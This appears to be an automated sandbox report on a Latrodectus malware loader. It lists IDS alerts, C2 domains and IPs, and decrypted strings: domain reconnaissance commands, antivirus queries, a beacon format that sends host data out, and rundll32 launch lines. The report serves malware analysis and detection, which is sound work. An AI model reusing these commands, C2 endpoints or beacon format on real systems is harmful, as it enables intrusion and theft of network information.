2024-12-02T18:44:59.451375+0100	2018052	1	A Network Trojan was detected	192.168.2.5	49941	172.67.217.190	443	TCP
2024-12-02T18:45:02.909131+0100	2018052	1	A Network Trojan was detected	192.168.2.5	49950	172.67.217.190	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T18:44:56.200694+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49934	172.67.217.190	443	TCP
2024-12-02T18:45:02.909131+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49950	172.67.217.190	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://reateberam.com/test/1303063_94378682313560_2056837URLS1https://dogirafer.com/test/4190877_54	Avira URL Cloud: Label: malware
Source: https://reateberam.com/test/	Avira URL Cloud: Label: malware
Source: https://reateberam.com/test/4560D	Avira URL Cloud: Label: malware
Source: https://reateberam.com/test/9362058_57969102112118_633157URLS1https://dogirafer.com/test/8477611_767	Avira URL Cloud: Label: malware
Source: https://reateberam.com/test/t60G	Avira URL Cloud: Label: malware
Source: https://reateberam.com/test/X	Avira URL Cloud: Label: malware
Source: https://reateberam.com/	Avira URL Cloud: Label: malware
Source: https://reateberam.com/test/w	Avira URL Cloud: Label: malware
Source: https://reateberam.com/files/stkm.bino	Avira URL Cloud: Label: malware
Source: https://reateberam.com/q	Avira URL Cloud: Label: malware
Source: https://reateberam.com/files/stkm.bin	Avira URL Cloud: Label: malware
Source: https://reateberam.com/test/4439042_94940942440575_5318539URLS1https://dogirafer.com/test/3185439_50	Avira URL Cloud: Label: malware
Source: https://reateberam.com/test/4560	Avira URL Cloud: Label: malware
Source: https://reateberam.com/files/stkm.binSL	Avira URL Cloud: Label: malware
Source: https://reateberam.com/test/3630449_22862766669148_5703346URLS1https://dogirafer.com/test/6092916_19	Avira URL Cloud: Label: malware
Source: https://reateberam.com/p	Avira URL Cloud: Label: malware

Found malware configuration

Source: 8.2.explorer.exe.3030000.0.unpack

Malware Configuration Extractor: Latrodectus {"C2 url": ["https://reateberam.com/test/", "https://dogirafer.com/test/"], "Group Name": "Lambda", "Campaign ID": 3306744842}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: /c ipconfig /all
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: /c systeminfo
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: /c nltest /domain_trusts
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: /c net view /all
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: /c nltest /domain_trusts /all_trusts
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: /c net view /all /domain
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: &ipconfig=
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: /c net group "Domain Admins" /domain
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: C:\Windows\System32\wbem\wmic.exe
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: /c net config workstation
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: /c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName \| findstr /V /B /C:displayName \|\| echo No Antivirus installed
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: /c whoami /groups
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: &systeminfo=
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: &domain_trusts=
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: &domain_trusts_all=
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: &net_view_all_domain=
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: &net_view_all=
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: &net_group=
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: &wmic=
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: &net_config_ws=
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: &net_wmic_av=
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: &whoami_group=
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: "pid":
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: "%d",
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: "proc":
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: "%s",
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: "subproc": [
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: &proclist=[
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: "pid":
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: "%d",
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: "proc":
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: "%s",
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: "subproc": [
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: &desklinks=[
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: .
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: "%s"
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: Update_%x
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: Custom_update
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: .dll
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: .exe
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: Error
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: runnung
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: %s/%s
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: front
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: /files/
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: Lambda
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: Cookie:
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: POST
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: GET
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: curl/7.88.1
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: CLEARURL
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: URLS
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: COMMAND
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: ERROR
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: DR2HpnCotlUgjMnaEE9p4nTXYS0dKcCqcD0K4aPi1LctrLPoDHUhq75vfji41aMg
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: [{"data":"
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: "}]
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: &dpost=
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: https://reateberam.com/test/
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: https://dogirafer.com/test/
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: \*.dll
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: AppData
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: Desktop
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: Startup
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: Personal
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: Local AppData
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: <html>
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: <!DOCTYPE
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: %s%d.dll
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: C:\WINDOWS\SYSTEM32\rundll32.exe %s,%s
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: Content-Length: 0
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: C:\WINDOWS\SYSTEM32\rundll32.exe %s
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: Content-Type: application/dns-message
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: Content-Type: application/ocsp-request
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: 12345
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: 12345
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: &stiller=
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: %s%d.exe
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: %x%x
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: &mac=
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: %02x
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: :%02x
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: &computername=%s
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: &domain=%s
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: %04X%04X%04X%04X%08X%04X
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: LogonTrigger
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: %04X%04X%04X%04X%08X%04X
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: \Registry\Machine\
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: TimeTrigger
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: PT0H%02dM
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: %04d-%02d-%02dT%02d:%02d:%02d
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: PT0S
Source: 8.2.explorer.exe.3030000.0.unpack	String decryptor: \update_data.dat

Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D7AC00 CryptStringToBinaryA,swprintf,LocalAlloc,swprintf,CryptStringToBinaryA,swprintf,CryptDecodeObjectEx,swprintf,LocalAlloc,swprintf,CryptDecodeObjectEx,swprintf,CryptImportPublicKeyInfoEx2,swprintf,LocalAlloc,swprintf,swprintf,swprintf,BCryptDestroyKey,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,	3_2_00007FF8A8D7AC00
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D7CEB0 BCryptOpenAlgorithmProvider,swprintf,BCryptGetProperty,swprintf,GetProcessHeap,HeapAlloc,swprintf,swprintf,swprintf,swprintf,GetProcessHeap,HeapAlloc,swprintf,BCryptExportKey,swprintf,	3_2_00007FF8A8D7CEB0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D7C3D0 BCryptOpenAlgorithmProvider,swprintf,swprintf,GetProcessHeap,HeapAlloc,swprintf,swprintf,swprintf,swprintf,GetProcessHeap,HeapFree,BCryptDestroyHash,BCryptCloseAlgorithmProvider,	3_2_00007FF8A8D7C3D0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D7B720 swprintf,swprintf,GetProcessHeap,HeapAlloc,swprintf,BCryptDecrypt,swprintf,BCryptCloseAlgorithmProvider,GetProcessHeap,HeapFree,BCryptDestroyKey,	3_2_00007FF8A8D7B720
Source: C:\Windows\explorer.exe	Code function: 8_2_0E455E5C StrStrIA,StrChrA,CryptUnprotectData,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,LocalFree,GetProcessHeap,HeapFree,	8_2_0E455E5C
Source: C:\Windows\explorer.exe	Code function: 8_2_0E455FE4 CryptUnprotectData,	8_2_0E455FE4
Source: C:\Windows\explorer.exe	Code function: 8_2_0E515C60 CryptUnprotectData,	8_2_0E515C60
Source: C:\Windows\explorer.exe	Code function: 8_2_0E458568 lstrlenW,CryptAcquireContextA,CryptCreateHash,lstrlenW,CryptHashData,CryptGetHashParam,wsprintfA,lstrcatA,wsprintfA,lstrcatA,CryptDestroyHash,CryptReleaseContext,RegQueryValueExA,lstrlenW,CryptUnprotectData,LocalFree,	8_2_0E458568
Source: C:\Windows\explorer.exe	Code function: 8_2_0E45453C lstrcpyA,lstrcatA,RegOpenKeyExA,RegEnumKeyExA,RegOpenKeyExA,lstrcpyW,RegQueryValueExW,CryptUnprotectData,LocalFree,RegCloseKey,RegEnumKeyExA,RegCloseKey,	8_2_0E45453C
Source: C:\Windows\explorer.exe	Code function: 8_2_0E456078 BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptGetProperty,BCryptGetProperty,BCryptGenerateSymmetricKey,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,BCryptDecrypt,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,BCryptCloseAlgorithmProvider,GetProcessHeap,HeapFree,	8_2_0E456078

Source: unknown	HTTPS traffic detected: 172.67.217.190:443 -> 192.168.2.5:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.217.190:443 -> 192.168.2.5:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.217.190:443 -> 192.168.2.5:49950 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.68.89:443 -> 192.168.2.5:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.217.190:443 -> 192.168.2.5:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.68.89:443 -> 192.168.2.5:50029 version: TLS 1.2

Source: wait.dll.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF

Source:

Binary string: C:\dvs\p4\build\sw\rel\gpu_drv\r565\r565_00\drivers\ui\NvXDCore\x64\ReleaseWin7\bin\NvXDCore.pdb source: rundll32.exe, 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.4538924938.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.4538185673.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmp, wait.dll.dll

Spreading

Performs a network lookup / discovery via net view

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net view /all /domain
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net view /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net view /all /domain
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net view /all

Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D72E90 swprintf,swprintf,FindFirstFileW,GetLastError,swprintf,FindNextFileW,CompareFileTime,FindNextFileW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,swprintf,swprintf,FindClose,	3_2_00007FF8A8D72E90
Source: C:\Windows\explorer.exe	Code function: 8_2_0303A8E0 FindFirstFileW,FindNextFileW,LoadLibraryW,	8_2_0303A8E0
Source: C:\Windows\explorer.exe	Code function: 8_2_03032B28 FindFirstFileA,wsprintfA,FindNextFileA,FindClose,	8_2_03032B28
Source: C:\Windows\explorer.exe	Code function: 8_2_030404C0 FindFirstFileW,	8_2_030404C0
Source: C:\Windows\explorer.exe	Code function: 8_2_0838A8E0 FindFirstFileW,FindNextFileW,LoadLibraryW,	8_2_0838A8E0
Source: C:\Windows\explorer.exe	Code function: 8_2_083904C0 FindFirstFileW,	8_2_083904C0
Source: C:\Windows\explorer.exe	Code function: 8_2_08382B28 FindFirstFileA,wsprintfA,FindNextFileA,FindClose,	8_2_08382B28
Source: C:\Windows\explorer.exe	Code function: 8_2_0885A8E0 FindFirstFileW,FindNextFileW,LoadLibraryW,	8_2_0885A8E0
Source: C:\Windows\explorer.exe	Code function: 8_2_088604C0 FindFirstFileW,	8_2_088604C0
Source: C:\Windows\explorer.exe	Code function: 8_2_08852B28 FindFirstFileA,wsprintfA,FindNextFileA,FindClose,	8_2_08852B28
Source: C:\Windows\explorer.exe	Code function: 8_2_0E456604 lstrcpyA,lstrlenA,lstrcatA,lstrcatA,FindFirstFileA,lstrcpyA,lstrcatA,lstrcatA,lstrcatA,StrStrIA,lstrcpyA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	8_2_0E456604
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4516F4 FindFirstFileW,FindNextFileW,LoadLibraryW,	8_2_0E4516F4
Source: C:\Windows\explorer.exe	Code function: 8_2_0E515C40 FindFirstFileW,FindClose,	8_2_0E515C40
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4F50D8 FindFirstFileA,	8_2_0E4F50D8
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4F5088 CloseHandle,GetCurrentProcessId,FindFirstFileA,FindClose,GetFileSize,	8_2_0E4F5088

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:49928 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2018052 - Severity 1 - ET MALWARE Zbot Generic URI/Header Struct .bin : 192.168.2.5:49941 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:49922 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:49972 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50009 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50007 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50000 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:49999 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:49986 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50001 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50013 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50015 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2018052 - Severity 1 - ET MALWARE Zbot Generic URI/Header Struct .bin : 192.168.2.5:49950 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50002 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:49980 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50014 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:49962 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50010 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50021 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50003 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50025 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50011 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50019 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50018 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50030 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50032 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50017 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50026 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50036 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50008 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50023 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50033 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50039 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50037 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50006 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:49995 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:49916 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50035 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50024 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2018052 - Severity 1 - ET MALWARE Zbot Generic URI/Header Struct .bin : 192.168.2.5:49934 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50034 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:49907 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50038 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50020 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50027 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50016 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50004 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50012 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50029 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50031 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.5:50022 -> 172.67.217.190:443

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 104.21.68.89 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 172.67.217.190 443	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 103.57.249.207 6542	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 94.232.43.224 6542	Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://reateberam.com/test/
Source: Malware configuration extractor	URLs: https://dogirafer.com/test/

Source: global traffic	TCP traffic: 192.168.2.5:49704 -> 103.57.249.207:6542
Source: global traffic	TCP traffic: 192.168.2.5:49713 -> 94.232.43.224:6542

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: SITINETWORS-IN-APSITINETWORKSLIMITEDIN SITINETWORS-IN-APSITINETWORKSLIMITEDIN
Source: Joe Sandbox View	ASN Name: WELLWEBNL WELLWEBNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49907 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49922 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49916 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49928 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49934 -> 172.67.217.190:443
